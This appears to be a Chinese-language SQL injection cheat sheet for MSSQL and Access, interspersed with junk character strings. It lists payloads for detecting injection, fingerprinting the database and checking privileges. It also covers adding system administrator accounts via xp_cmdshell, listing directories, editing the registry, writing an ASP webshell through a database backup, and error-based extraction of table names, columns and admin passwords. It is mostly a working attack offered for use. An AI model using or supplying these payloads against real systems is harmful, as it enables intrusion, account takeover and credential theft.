1.判断是否有注入
& q' o3 r! X& Y( ~7 x;and 1=1 ) y$ G" D/ n& q4 Y U% S7 i/ R
;and 1=2
9 O4 |! _6 X5 q* z/ L. W( |
+ E6 A J3 p9 R L1 j5 L) M. z2.初步判断是否是mssql 4 R# d9 q. K1 S. W4 q ?% E1 D/ R
;and user>0 , c- Y. b+ X" f, z/ ]: H
/ x Z4 o! V5 w. ^
3.判断数据库系统 : O: Y' b' s& X. I3 ^ a1 M- w0 ^2 [
;and (select count(*) from sysobjects)>0 mssql
0 x9 |8 _5 r! \ P, X( r;and (select count(*) from msysobjects)>0 access
3 [+ d7 e W9 p; j$ C
/ d- W2 z' G( K8 f- ], z4.注入参数是字符 ; j; M# N0 Z0 }; Z# m
'and [查询条件] and ''='
8 V2 ], I4 f( S' V. q: ~% S, Y, N* u: D
5.搜索时没过滤参数的 . K+ `' P1 Z) b% m
'and [查询条件] and '%25'=' 7 x0 q/ C6 r8 T
3 f0 r2 m$ H8 [* n
6.猜数表名
$ K3 a' s1 s1 `* a) y8 Z1 M. C* e;and (select Count(*) from [表名])>0 : D7 j; U( ~- G# m" m" z+ P
) Z( @4 d* h* a" d8 h7.猜字段
! o8 U6 Z. G; y" ?5 z2 X;and (select Count(字段名) from 表名)>0
2 u. X2 V" f7 [" @# ~# b! g; a0 ~) r$ ?7 i7 n0 K
8.猜字段中记录长度 + x4 v/ ]. Z3 ^3 @( X, A: t9 u6 e
;and (select top 1 len(字段名) from 表名)>0
! r% }' @: l. u
# k* j @' c1 ~* v8 O9.(1)猜字段的ascii值(access) ; O2 \4 o$ r! {' w5 L2 [* ~
;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0 ; Y4 W6 c" n& O2 ]0 i: }( M
5 Z1 C. r6 m# M, M% t(2)猜字段的ascii值(mssql)
; N; z/ ^, p9 R;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0 ' j4 ]! \9 {: J1 o/ ]' e
% u. H) a% G$ r t3 V6 O; ~
10.测试权限结构(mssql)
1 I- |& S0 u9 c, P$ k1 Q; |& V;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
4 v6 `) O7 h" H/ S g3 ];and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 5 J4 ~- v: E. `( X
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- - Q; _9 u W, V2 a. w
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
7 Y9 l" g8 n [7 v;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- + o8 f- s# N7 Q L* M
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
. @" R) e1 Z4 |+ ~5 M;and 1=(select IS_MEMBER('db_owner'));--
; b) ?& o( ?6 D4 o& _/ {) Y
3 ^. m H: Q4 ]2 Y! \11.添加mssql和系统的帐户 3 X. Q A6 I& e9 ^4 s8 g! I
;exec master.dbo.sp_addlogin username;-- 4 d% h% c8 R3 O- i$ M- u; t
;exec master.dbo.sp_password null,username,password;--
3 m2 h, [' t7 S8 D3 x;exec master.dbo.sp_addsrvrolemember sysadmin username;--
e! r$ c* P' x' n% v;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- 7 u0 s: ?0 h9 k) F/ i8 T9 E' B
;exec master.dbo.xp_cmdshell 'net user username password /add';-- ( {+ ]- k1 a6 a+ D# A1 B+ F2 g
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- % C2 v- o& }, y1 j" ~
) _* W& }0 t9 v' J2 X
12.(1)遍历目录
' q# |9 _0 `3 p7 v$ Q2 i1 |) F;create table dirs(paths varchar(100), id int) 4 \% D8 ^* j3 b5 P( W6 s! {+ l A& g
;insert dirs exec master.dbo.xp_dirtree 'c:\' 0 i8 `3 L) N! p$ T: q
;and (select top 1 paths from dirs)>0
1 q* W/ m) R; M5 Q;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
( u; k E; Z0 @. F1 V; p8 t, p! b/ n' m; ]* n
(2)遍历目录
; r/ l4 }5 G% K+ d* ?) A( L! d;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
5 d ]' ]+ L" B+ X8 N9 h;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
7 P V7 O) U Q) a5 \# Q;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
9 I7 V& u; Q. t7 o3 N;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构
8 E5 t9 \! e7 f7 D;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 ! R7 L n7 E8 K+ Y
% \; y% P7 e- |# r2 M0 E13.mssql中的存储过程 ) i9 f0 V& ~, P+ \3 \
xp_regenumvalues 注册表根键, 子键
( m- H* r" k: x6 y d' E' @;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
2 O' I8 _8 n4 S$ N2 l7 exp_regread 根键,子键,键值名
( d* y U4 W, Q# C; t' G;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
( `6 n" o: }, b& j9 C8 cxp_regwrite 根键,子键, 值名, 值类型, 值
6 @, z N: T$ F- |9 v. g) j( b值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 9 c2 Q, c3 B/ Z% R$ Z( Q
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表 & i& `, c- L w* a6 `, o4 v% n& ?
xp_regdeletevalue 根键,子键,值名 : W; S1 D4 B( q+ S
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值
+ R: V: a# t i5 I# C( Txp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 $ g* X3 u/ m7 G* ?* z7 S
/ Z- M8 I [5 e3 Y; ^* t14.mssql的backup创建webshell
# w5 {; E( x7 L* Q! H. f3 _3 Fuse model # O# X7 {5 C7 A& N. Z- h& u: k
create table cmd(str image); 4 Y! ]. E6 M0 B
insert into cmd(str) values ('<% Dim oScript %>');
: s# b; e: t4 G, z( Fbackup database model to disk='c:\l.asp'; % U! k# g) n2 n/ C& u3 t
1 t* @. M) ?+ _; v15.mssql内置函数 : y7 p* a6 y/ a* e! |7 R
;and (select @@version)>0 获得Windows的版本号 : R. N& Y% |8 v3 s+ J2 M
;and user_name()='dbo' 判断当前系统的连接用户是不是sa 9 P; ]. u' u7 \% |" I2 I2 a
;and (select user_name())>0 爆当前系统的连接用户 - i8 Q( T% s, Y1 C
;and (select db_name())>0 得到当前连接的数据库 . R7 C/ Q8 v5 U1 \( M
3 z* m2 |1 G# B, ~- V' K
# v9 N1 b" d+ { q6 O2 U; L
2 ~8 ]$ U' {9 D( w0 I4 C% lMSSQL手注暴库
2 J. t7 a# @% N" K# R
( c& C5 \2 {# j- }4 u4 V1.暴出当前表名和列名
) T8 v" l9 V/ S在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。1 ]( g7 Q6 @9 M/ i( L
* S6 p2 Y" A' G( y8 J第一.爆出所有数据库名
+ ^, P+ d. s, }4 {: _. k% B" f4 f利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。
) M' D. k# M, z) y0 G' i8 Y第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。8 J* Y4 A2 ]4 W
% a0 N, t2 l8 Pand 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])-- 修改N从6开始爆出所有数据库名0 g6 i8 N3 Q3 Y* p
! G I w+ D8 [5 l* q' V
: A# y. @$ | j, h; a1 T* P: c第二.爆出指定库中的所有表名
7 K4 S6 a* o. F* O得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。
1 g& I t1 V/ K+ w# L再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。" l- M9 ^2 |! m% t6 x) T
2 D: e" x' M- W7 n2 t4 w
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--
: H/ v# e2 Q* R$ K1 j) c- Nand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--
4 _+ o# J' F( k. z' ^; ^- |1 B( ?0 Oand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--
7 F" W! f& }9 r# s# n4 |" p0 ?* a4 C/ W5 R6 ~/ P
4.爆出指定表中的所有列名5 o, C1 d$ J# e$ w- `8 T; X
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) 8 g9 P, c4 c& m$ v7 S
//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421 name='表名'
3 G) a n) p O% K/ P% U
/ _4 W- i8 H. Y" s. r. q C' dand 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)-- 爆出admin表中的一个字段名
2 r5 J! z. `4 {( z$ ?
1 x* Z' [- c8 D$ w再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))--
% w3 X: y& y7 Q/ V" s& d: ^依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。$ S1 |0 d3 S5 ^4 m; \
! r0 X% u3 W' S. D& p+ m+ y
% d6 i H+ _. t" Land 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))-- 爆出要爆字段的表名id值
1 W# r9 ~/ ?& O0 J4 s9 B2 `+ e& J2 l+ o/ J$ d; l
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名6 w) T. A2 ?8 b; P
1 g5 V( b: Y8 x3 M) `and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))--
! t1 J" n) i- z" z7 |/ l. Q* k7 N+ O+ K% ?! o- o6 u. Q9 P) w, T
6 X( u+ E# a1 j) k7 t* [0 B
1 b ?9 O# p6 c6 h. D. {0 c
5.读取指定表中的数据) A4 Y9 O! l& j. Q3 ^! w7 I2 s( R
1 o3 _: Y% q; B1 ^- d+ C9 v& T
and 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容
- n1 i& v5 k$ M; q) U% }' ?. k/ \0 d( ~0 g
and 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--( c6 x$ S4 b, z% j# N3 l
9 m! w, s- x7 Y3 N2 ^2 L& u& S3 U
and 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码
# w# w7 N1 w" S% u$ J! [7 t0 r3 v' P! J# [6 i; L6 Y- l ], Z
) i! q9 ^5 r, t( Y4 nand 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)-- 爆出id<>1的管理员名字(fuhao)
% }/ O, c! p0 m( ^7 @
/ R# N7 i5 |8 ?) d* xand 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)' d6 d. g( Y% `$ u& j: t; p
3 R1 u% H6 U/ R8 k- k$ U" o4 J
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--
# D q0 `+ [. n$ _: y% S! g$ X" U/ o# N
知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。
0 \- Q! m# ^3 |0 m7 \7 M1 i |